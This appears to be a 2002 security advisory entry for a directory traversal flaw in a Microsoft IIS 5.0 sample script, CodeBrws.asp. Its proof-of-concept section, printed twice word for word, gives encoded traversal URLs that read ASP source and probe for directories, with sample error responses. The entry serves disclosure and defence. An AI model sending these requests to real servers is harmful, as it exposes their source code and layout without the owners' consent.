Microsoft IIS CodeBrws.ASP Source Code Disclosure Vulnerability
BID:4525
Info
Microsoft IIS CodeBrws.ASP Source Code Disclosure Vulnerability
| Bugtraq ID: | 4525 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 16 2002 12:00AM |
| Updated: | Apr 16 2002 12:00AM |
| Credit: | Discovery of this issue is credited to H D Moore <[email protected]>. |
| Vulnerable: |
Microsoft IIS 5.0 |
| Not Vulnerable: | |
Exploit / POC
Microsoft IIS CodeBrws.ASP Source Code Disclosure Vulnerability
This vulnerability may be exploited with a web browser. The following example is provided:
http://target/iissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp
The following example was also provided to demonstrate that the directory structure may be mapped out using this vulnerability:
Request:
http://target/IISSamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp
Response: Microsoft VBScript runtime (0x800A004C) Path not found
Request:
http://target/IISSamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/oracle/nonexistant.asp
Response: Microsoft VBScript runtime (0x800A0035) File not found
This vulnerability may be exploited with a web browser. The following example is provided:
http://target/iissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp
The following example was also provided to demonstrate that the directory structure may be mapped out using this vulnerability:
Request:
http://target/IISSamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp
Response: Microsoft VBScript runtime (0x800A004C) Path not found
Request:
http://target/IISSamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/oracle/nonexistant.asp
Response: Microsoft VBScript runtime (0x800A0035) File not found